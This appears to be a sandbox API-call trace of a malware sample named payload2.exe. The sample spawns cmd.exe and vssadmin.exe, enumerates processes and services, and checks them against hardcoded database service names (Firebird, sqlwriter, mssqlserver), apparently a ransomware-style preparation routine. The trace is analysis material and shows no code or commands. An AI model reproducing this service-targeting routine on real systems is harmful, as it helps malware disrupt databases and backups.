	[0192.329] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0192.329] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0192.330] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0192.330] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.331] lstrlenW (lpString="svchost.exe") returned 11
	[0192.331] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.332] lstrlenW (lpString="svchost.exe") returned 11
	[0192.332] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0192.333] lstrlenW (lpString="dwm.exe") returned 7
	[0192.333] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.333] lstrlenW (lpString="svchost.exe") returned 11
	[0192.333] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.334] lstrlenW (lpString="svchost.exe") returned 11
	[0192.334] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.335] lstrlenW (lpString="svchost.exe") returned 11
	[0192.335] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.336] lstrlenW (lpString="svchost.exe") returned 11
	[0192.336] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.337] lstrlenW (lpString="svchost.exe") returned 11
	[0192.337] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.338] lstrlenW (lpString="svchost.exe") returned 11
	[0192.338] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.339] lstrlenW (lpString="svchost.exe") returned 11
	[0192.339] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.341] lstrlenW (lpString="svchost.exe") returned 11
	[0192.341] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.342] lstrlenW (lpString="svchost.exe") returned 11
	[0192.342] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.343] lstrlenW (lpString="svchost.exe") returned 11
	[0192.343] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0192.343] lstrlenW (lpString="spoolsv.exe") returned 11
	[0192.343] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.344] lstrlenW (lpString="svchost.exe") returned 11
	[0192.344] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0192.345] lstrlenW (lpString="audiodg.exe") returned 11
	[0192.727] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0192.753] lstrlenW (lpString="sihost.exe") returned 10
	[0192.753] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0192.754] lstrlenW (lpString="svchost.exe") returned 11
	[0192.754] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0192.754] lstrlenW (lpString="taskhostw.exe") returned 13
	[0192.754] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0192.755] lstrlenW (lpString="msoia.exe") returned 9
	[0192.755] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0192.756] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0192.756] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0192.756] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0192.756] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0192.757] lstrlenW (lpString="Memory Compression") returned 18
	[0192.757] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0192.758] lstrlenW (lpString="explorer.exe") returned 12
	[0192.758] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0192.758] lstrlenW (lpString="SearchUI.exe") returned 12
	[0192.759] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0192.759] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0192.759] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0192.760] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0192.760] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0192.761] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0192.761] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0192.762] lstrlenW (lpString="payload2.exe") returned 12
	[0192.762] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0192.762] lstrlenW (lpString="cmd.exe") returned 7
	[0192.762] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0192.763] lstrlenW (lpString="conhost.exe") returned 11
	[0192.763] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0192.764] lstrlenW (lpString="consent.exe") returned 11
	[0192.764] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0192.764] lstrlenW (lpString="vssadmin.exe") returned 12
	[0192.764] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0192.765] lstrlenW (lpString="dllhost.exe") returned 11
	[0192.765] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0192.765] CloseHandle (hObject=0x5e8) returned 1
	[0192.765] Sleep (dwMilliseconds=0x1f4) 
	[0193.469] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668060
	[0193.470] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0193.471] GetLastError () returned 0xea
	[0193.471] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4470140
	[0193.471] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0193.472] CloseServiceHandle (hSCObject=0x668060) returned 1
	[0193.472] lstrlenW (lpString="Appinfo") returned 7
	[0193.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0193.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0193.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0193.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0193.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0193.473] lstrlenW (lpString="AppXSvc") returned 7
	[0193.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0193.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0193.473] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0193.473] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0193.474] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0193.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0193.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0193.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0193.474] lstrlenW (lpString="Audiosrv") returned 8
	[0193.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0193.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0193.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0193.474] lstrlenW (lpString="BFE") returned 3
	[0193.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0193.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0193.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0193.474] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0193.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0193.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0193.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0193.475] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0193.475] lstrlenW (lpString="CDPSvc") returned 6
	[0193.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0193.475] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0193.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0193.475] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0193.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0193.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0193.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0193.475] lstrlenW (lpString="CryptSvc") returned 8
	[0193.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0193.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0193.475] lstrlenW (lpString="DcomLaunch") returned 10
	[0193.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0193.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0193.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0193.476] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0193.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0193.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0193.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0193.476] lstrlenW (lpString="Dhcp") returned 4
	[0193.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0193.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0193.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0193.476] lstrlenW (lpString="Dnscache") returned 8
	[0193.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0193.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0193.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0193.476] lstrlenW (lpString="DPS") returned 3
	[0193.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0193.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0193.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0193.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0193.477] lstrlenW (lpString="DusmSvc") returned 7
	[0193.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0193.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0193.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0193.477] lstrlenW (lpString="EventLog") returned 8
	[0193.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0193.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0193.477] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0193.477] lstrlenW (lpString="EventSystem") returned 11
	[0193.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0193.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0193.477] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0193.477] lstrlenW (lpString="FontCache") returned 9
	[0193.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0193.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0193.477] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0193.477] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0193.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0193.477] lstrlenW (lpString="gpsvc") returned 5
	[0193.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0193.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0193.477] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0193.478] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0193.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0193.478] lstrlenW (lpString="iphlpsvc") returned 8
	[0193.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0193.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0193.478] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0193.478] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0193.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0193.478] lstrlenW (lpString="KeyIso") returned 6
	[0193.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0193.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0193.478] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0193.478] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0193.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0193.478] lstrlenW (lpString="LanmanServer") returned 12
	[0193.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0193.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0193.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0193.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0193.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0193.478] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0193.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0193.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0193.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0193.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
